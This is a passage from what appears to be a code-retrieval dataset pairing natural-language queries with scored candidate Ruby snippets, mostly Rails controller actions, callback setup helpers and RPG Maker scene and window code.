"title": ""
},
{
"docid": "aaf39c0ee28ba6a3ac81c6d021196720",
"score": "0.6849599",
"text": "def index\n @users = User.all\n render json: @users, status: :ok\n end",
"title": ""
},
{
"docid": "9a7e2889d6fe5b08f84a888c40f2b06c",
"score": "0.6847195",
"text": "def show\n @users = User.find(params[:id])\n if @users\n respond_to do |format|\n format.json { render :json => @users }\n format.xml { render :xml => @users }\n end\n else\n head :not_found\n end\n end",
"title": ""
},
{
"docid": "c9be31dad7d323088e84c4adffd9f57a",
"score": "0.6847074",
"text": "def index\n @users = User.all\n\n render json: @users\n end",
"title": ""
},
{
"docid": "c9be31dad7d323088e84c4adffd9f57a",
"score": "0.6847074",
"text": "def index\n @users = User.all\n\n render json: @users\n end",
"title": ""
}
] |
f74c29bdfc4a183e1ec1b91334cd5be2 | Use callbacks to share common setup or constraints between actions. | [
{
"docid": "0ed4d2cc4be09b091d4a7f087acd31be",
"score": "0.0",
"text": "def set_dummy1\n @dummy1 = Dummy1.find(params[:id])\n end",
"title": ""
}
] | [
{
"docid": "631f4c5b12b423b76503e18a9a606ec3",
"score": "0.60339177",
"text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end",
"title": ""
},
{
"docid": "7b068b9055c4e7643d4910e8e694ecdc",
"score": "0.60135007",
"text": "def on_setup_callbacks; end",
"title": ""
},
{
"docid": "311e95e92009c313c8afd74317018994",
"score": "0.59219855",
"text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "bfea4d21895187a799525503ef403d16",
"score": "0.589884",
"text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "352de4abc4d2d9a1df203735ef5f0b86",
"score": "0.5889191",
"text": "def required_action\n # TODO: implement\n end",
"title": ""
},
{
"docid": "8713cb2364ff3f2018b0d52ab32dbf37",
"score": "0.58780754",
"text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "a80b33627067efa06c6204bee0f5890e",
"score": "0.5863248",
"text": "def actions\n\n end",
"title": ""
},
{
"docid": "930a930e57ae15f432a627a277647f2e",
"score": "0.58094144",
"text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end",
"title": ""
},
{
"docid": "33ff963edc7c4c98d1b90e341e7c5d61",
"score": "0.57375425",
"text": "def setup\n common_setup\n end",
"title": ""
},
{
"docid": "a5ca4679d7b3eab70d3386a5dbaf27e1",
"score": "0.57285565",
"text": "def perform_setup\n end",
"title": ""
},
{
"docid": "ec7554018a9b404d942fc0a910ed95d9",
"score": "0.57149214",
"text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703237",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "c85b0efcd2c46a181a229078d8efb4de",
"score": "0.56900954",
"text": "def custom_setup\n\n end",
"title": ""
},
{
"docid": "100180fa74cf156333d506496717f587",
"score": "0.56665677",
"text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend",
"title": ""
},
{
"docid": "2198a9876a6ec535e7dcf0fd476b092f",
"score": "0.5651118",
"text": "def initial_action; end",
"title": ""
},
{
"docid": "b9b75a9e2eab9d7629c38782c0f3b40b",
"score": "0.5648135",
"text": "def setup_intent; end",
"title": ""
},
{
"docid": "471d64903a08e207b57689c9fbae0cf9",
"score": "0.56357735",
"text": "def setup_controllers &proc\n @global_setup = proc\n self\n end",
"title": ""
},
{
"docid": "468d85305e6de5748477545f889925a7",
"score": "0.5627078",
"text": "def inner_action; end",
"title": ""
},
{
"docid": "bb445e7cc46faa4197184b08218d1c6d",
"score": "0.5608873",
"text": "def pre_action\n # Override this if necessary.\n end",
"title": ""
},
{
"docid": "432f1678bb85edabcf1f6d7150009703",
"score": "0.5598699",
"text": "def target_callbacks() = commands",
"title": ""
},
{
"docid": "48804b0fa534b64e7885b90cf11bff31",
"score": "0.5598419",
"text": "def execute_callbacks; end",
"title": ""
},
{
"docid": "5aab98e3f069a87e5ebe77b170eab5b9",
"score": "0.5589822",
"text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "482481e8cf2720193f1cdcf32ad1c31c",
"score": "0.55084664",
"text": "def required_keys(action)\n\n end",
"title": ""
},
{
"docid": "353fd7d7cf28caafe16d2234bfbd3d16",
"score": "0.5504379",
"text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end",
"title": ""
},
{
"docid": "dcf95c552669536111d95309d8f4aafd",
"score": "0.5465574",
"text": "def layout_actions\n \n end",
"title": ""
},
{
"docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40",
"score": "0.5464707",
"text": "def on_setup(&block); end",
"title": ""
},
{
"docid": "8ab2a5ea108f779c746016b6f4a7c4a8",
"score": "0.54471064",
"text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend",
"title": ""
},
{
"docid": "e3aadf41537d03bd18cf63a3653e05aa",
"score": "0.54455084",
"text": "def before(action)\n invoke_callbacks *options_for(action).before\n end",
"title": ""
},
{
"docid": "6bd37bc223849096c6ea81aeb34c207e",
"score": "0.5437386",
"text": "def post_setup\n end",
"title": ""
},
{
"docid": "07fd9aded4aa07cbbba2a60fda726efe",
"score": "0.54160327",
"text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "9358208395c0869021020ae39071eccd",
"score": "0.5397424",
"text": "def post_setup; end",
"title": ""
},
{
"docid": "cb5bad618fb39e01c8ba64257531d610",
"score": "0.5392518",
"text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "a468b256a999961df3957e843fd9bdf4",
"score": "0.5385411",
"text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.53794575",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "2c4e5a90aa8efaaa3ed953818a9b30d2",
"score": "0.5357573",
"text": "def execute(setup)\n @action.call(setup)\n end",
"title": ""
},
{
"docid": "118932433a8cfef23bb8a921745d6d37",
"score": "0.53487605",
"text": "def register_action(action); end",
"title": ""
},
{
"docid": "725216eb875e8fa116cd55eac7917421",
"score": "0.5346655",
"text": "def setup\n @controller.setup\n end",
"title": ""
},
{
"docid": "39c39d6fe940796aadbeaef0ce1c360b",
"score": "0.53448105",
"text": "def setup_phase; end",
"title": ""
},
{
"docid": "bd03e961c8be41f20d057972c496018c",
"score": "0.5342072",
"text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end",
"title": ""
},
{
"docid": "c6352e6eaf17cda8c9d2763f0fbfd99d",
"score": "0.5341318",
"text": "def initial_action=(_arg0); end",
"title": ""
},
{
"docid": "207a668c9bce9906f5ec79b75b4d8ad7",
"score": "0.53243506",
"text": "def before_setup\n\n end",
"title": ""
},
{
"docid": "669ee5153c4dc8ee81ff32c4cefdd088",
"score": "0.53025913",
"text": "def ensure_before_and_after; end",
"title": ""
},
{
"docid": "c77ece7b01773fb7f9f9c0f1e8c70332",
"score": "0.5283114",
"text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end",
"title": ""
},
{
"docid": "1e1e48767a7ac23eb33df770784fec61",
"score": "0.5282289",
"text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
"docid": "4ad1208a9b6d80ab0dd5dccf8157af63",
"score": "0.52585614",
"text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end",
"title": ""
},
{
"docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7",
"score": "0.52571374",
"text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end",
"title": ""
},
{
"docid": "fc88422a7a885bac1df28883547362a7",
"score": "0.52483684",
"text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end",
"title": ""
},
{
"docid": "8945e9135e140a6ae6db8d7c3490a645",
"score": "0.5244467",
"text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "7b3954deb2995cf68646c7333c15087b",
"score": "0.5236853",
"text": "def after_setup\n end",
"title": ""
},
{
"docid": "1dddf3ac307b09142d0ad9ebc9c4dba9",
"score": "0.52330637",
"text": "def external_action\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "5772d1543808c2752c186db7ce2c2ad5",
"score": "0.52300817",
"text": "def actions(state:)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "64a6d16e05dd7087024d5170f58dfeae",
"score": "0.522413",
"text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend",
"title": ""
},
{
"docid": "6350959a62aa797b89a21eacb3200e75",
"score": "0.52226824",
"text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"title": ""
},
{
"docid": "db0cb7d7727f626ba2dca5bc72cea5a6",
"score": "0.521999",
"text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end",
"title": ""
},
{
"docid": "8d7ed2ff3920c2016c75f4f9d8b5a870",
"score": "0.5215832",
"text": "def pick_action; end",
"title": ""
},
{
"docid": "7bbfb366d2ee170c855b1d0141bfc2a3",
"score": "0.5213786",
"text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end",
"title": ""
},
{
"docid": "78ecc6a2dfbf08166a7a1360bc9c35ef",
"score": "0.52100146",
"text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end",
"title": ""
},
{
"docid": "2aba2d3187e01346918a6557230603c7",
"score": "0.52085197",
"text": "def ac_action(&blk)\n @action = blk\n end",
"title": ""
},
{
"docid": "4c23552739b40c7886414af61210d31c",
"score": "0.5203262",
"text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end",
"title": ""
},
{
"docid": "691d5a5bcefbef8c08db61094691627c",
"score": "0.5202406",
"text": "def performed(action)\n end",
"title": ""
},
{
"docid": "6a98e12d6f15af80f63556fcdd01e472",
"score": "0.520174",
"text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end",
"title": ""
},
{
"docid": "d56f4ec734e3f3bc1ad913b36ff86130",
"score": "0.5201504",
"text": "def create_setup\n \n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "7fca702f2da4dbdc9b39e5107a2ab87d",
"score": "0.5191404",
"text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end",
"title": ""
},
{
"docid": "063b82c93b47d702ef6bddadb6f0c76e",
"score": "0.5178325",
"text": "def setup(instance)\n action(:setup, instance)\n end",
"title": ""
},
{
"docid": "9f1f73ee40d23f6b808bb3fbbf6af931",
"score": "0.51765746",
"text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "7a0c9d839516dc9d0014e160b6e625a8",
"score": "0.5162045",
"text": "def setup(request)\n end",
"title": ""
},
{
"docid": "e441ee807f2820bf3655ff2b7cf397fc",
"score": "0.5150735",
"text": "def after_setup; end",
"title": ""
},
{
"docid": "1d375c9be726f822b2eb9e2a652f91f6",
"score": "0.5143402",
"text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end",
"title": ""
},
{
"docid": "c594a0d7b6ae00511d223b0533636c9c",
"score": "0.51415485",
"text": "def code_action_provider; end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.51398855",
"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "2fcff037e3c18a5eb8d964f8f0a62ebe",
"score": "0.51376045",
"text": "def setup(params)\n end",
"title": ""
},
{
"docid": "111fd47abd953b35a427ff0b098a800a",
"score": "0.51318985",
"text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end",
"title": ""
},
{
"docid": "f2ac709e70364fce188bb24e414340ea",
"score": "0.5115387",
"text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5111866",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "4c7a1503a86fb26f1e4b4111925949a2",
"score": "0.5109771",
"text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end",
"title": ""
},
{
"docid": "63849e121dcfb8a1b963f040d0fe3c28",
"score": "0.5107364",
"text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend",
"title": ""
},
{
"docid": "f04fd745d027fc758dac7a4ca6440871",
"score": "0.5106081",
"text": "def block_actions options ; end",
"title": ""
},
{
"docid": "0d1c87e5cf08313c959963934383f5ae",
"score": "0.51001656",
"text": "def on_action(action)\n @action = action\n self\n end",
"title": ""
},
{
"docid": "916d3c71d3a5db831a5910448835ad82",
"score": "0.50964546",
"text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end",
"title": ""
},
{
"docid": "076c761e1e84b581a65903c7c253aa62",
"score": "0.5093199",
"text": "def add_callbacks(base); end",
"title": ""
}
] |
0650ac84a60ef809699dc036fef64420 | new method to make all scene can call gab window | [
{
"docid": "e96359aa15bbdf6b3eef3a45fa4f68ae",
"score": "0.60879296",
"text": "def setup_gab_window(text, graphic = nil, index = nil, mode = nil)\n @gab_window.setup(text, graphic, index, mode)\n end",
"title": ""
}
] | [
{
"docid": "450ae9711226c9e274af47f3e0572ccb",
"score": "0.67538995",
"text": "def start_game\n @window.show_all\n Gtk.main\n end",
"title": ""
},
{
"docid": "1fd0521b964945b310cddcbca3b5f485",
"score": "0.6567896",
"text": "def main\n # create spriteset\n @spriteset = Spriteset_Map.new\n # create viewport\n @view = Viewport.new(0, 0, 640, 480)\n # set screen tint\n @view.tone = @tone\n # create command window\n @command_window = Window_Command.new(160, BlizzABS::Cache::CommandsAITrigger)\n # command window coordinates\n @command_window.x = 480\n # command window initial index\n @command_window.index = @command_index\n # create trigger command window\n @tcommand_window = Window_Command.new(160, BlizzABS::Cache::CommandsTrigger)\n # trigger command window coordinates\n @tcommand_window.x = 480\n @tcommand_window.y = @command_window.height\n # trigger command window no cursor\n @tcommand_window.index = -1\n # trigger command window not active\n @tcommand_window.active = false\n # create name window\n @name_window = Window_Base.new(480, 416, 160, 64)\n # create bitmap\n @name_window.contents = Bitmap.new(@name_window.width - 32,\n @name_window.height - 32)\n # if using Dyna Edition scripts\n if $fontface != nil\n # set font name and size\n @name_window.contents.font.name = $fontface\n @name_window.contents.font.size = $fontsize\n # if using PK Edition 2\n elsif $defaultfonttype != nil\n # set font name and size\n @name_window.contents.font.name = $defaultfonttype\n @name_window.contents.font.size = $defaultfontsize\n end\n # draw actor name\n @name_window.draw_actor_name(@actor, 4, 0)\n # update trigger command display\n check_triggers\n # creat triggers window\n @triggers_window = Window_Triggers.new(@actor)\n # transition\n Graphics.transition\n # loop\n loop do\n # update game screen\n Graphics.update\n # update input\n Input.update\n # update the scene\n update\n # stop if frame update\n break if $scene != self\n end\n # freeze screen\n Graphics.freeze\n # delete command window\n @command_window.dispose\n # delete trigger command window\n @tcommand_window.dispose\n # delete triggers window\n @triggers_window.dispose\n # delete name window\n @name_window.dispose\n # delete spriteset\n @spriteset.dispose\n # delete viewport\n @view.dispose\n end",
"title": ""
},
{
"docid": "cf24d518791576a36a097fa4e3e6c01d",
"score": "0.6548134",
"text": "def main\n # create spriteset\n @spriteset = Spriteset_Map.new\n # create viewport\n @view = Viewport.new(0, 0, 640, 480)\n # set screen tint\n @view.tone = @tone\n # create command window\n @command_window = Window_Command.new(160, BlizzABS::Cache::CommandsAIBehavior)\n # command window coordinates\n @command_window.x = 480\n # command window initial index\n @command_window.index = @command_index\n # get map actor\n map_actor = $BlizzABS.battlers[@index]\n # create behavior window\n @behavior_window = Window_Behavior.new(@actor, map_actor)\n # transition\n Graphics.transition\n # loop\n loop do\n # update game screen\n Graphics.update\n # update input\n Input.update\n # update the scene\n update\n # stop if frame update\n break if $scene != self\n end\n # freeze screen\n Graphics.freeze\n # delete command window\n @command_window.dispose\n # delete behavior window\n @behavior_window.dispose\n # delete spriteset\n @spriteset.dispose\n # delete viewport\n @view.dispose\n end",
"title": ""
},
{
"docid": "233691e280f06ab3c2c87d10926c1b89",
"score": "0.65399283",
"text": "def main_window ; end",
"title": ""
},
{
"docid": "ffe74736bde2965bf3f2fc6e122fa5c3",
"score": "0.6418172",
"text": "def new_window(name)\n if @scene_hash[@scene_actuel][:window].include?(name.to_sym)\n msgbox(\"Cette Window existe déjà.\")\n return false\n else\n #definition du ton standard\n tone_s = $data_system.window_tone\n tone_w = {:red => tone_s.red ,:green => tone_s.green ,:blue => tone_s.blue ,:gray => tone_s.gray}\n #definition commande standard\n update_c = {:name => \"update\" ,:commande_list => [],:description => \"Fonction de mise a jour\"}\n initialize_c = {:name => \"initialize\" ,:commande_list => [],:description => \"Fonction d'initialisation\"}\n refresh_c = {:name => \"refresh\" ,:commande_list => [],:description => \"Fonction de rafraichissement\"}\n #definition variable normal\n var = {\"x\"=>\"Int\",\"y\"=>\"Int\",\"z\"=>\"Int\",\"w\"=>\"Int\",\"h\"=>\"Int\",\n \"opacity_back\"=>\"Int\",\"opacity_window\"=>\"Int\",\"opacity_contents\"=>\"Int\"}\n #creation hash window\n window = {:x=>0 ,:y=>0 ,:z=>0 ,:w=>160 ,:h=>-1,\n :type => \"normal\",\n :nbr_commande => 1,\n :commande_name => [\"\"],\n :commande_type => 0,\n :colonne => 2,\n :espace => 19,\n :back_opacity => 192,\n :window_opacity => 255,\n :contents_opacity => 255,\n :hide => false,\n :windowskin => nil,\n :tone => tone_w,\n :commande => [initialize_c,update_c,refresh_c],\n :variable => var\n }\n #assignation window\n @scene_hash[@scene_actuel][:window][name.to_sym] = window\n return true\n end\n end",
"title": ""
},
{
"docid": "54d0df1e7d93c567f1e8c382053fb35c",
"score": "0.6371056",
"text": "def windows; end",
"title": ""
},
{
"docid": "54d0df1e7d93c567f1e8c382053fb35c",
"score": "0.6371056",
"text": "def windows; end",
"title": ""
},
{
"docid": "76cf52c0fffa028670824ed0ad817bc6",
"score": "0.63233155",
"text": "def create\n super # Create the windows\n show(PLACEMENT_SCREEN) # Make the main window appear\n end",
"title": ""
},
{
"docid": "7ba43a4fc0657a154065054f14f4f1ab",
"score": "0.63219976",
"text": "def open_window\n end",
"title": ""
},
{
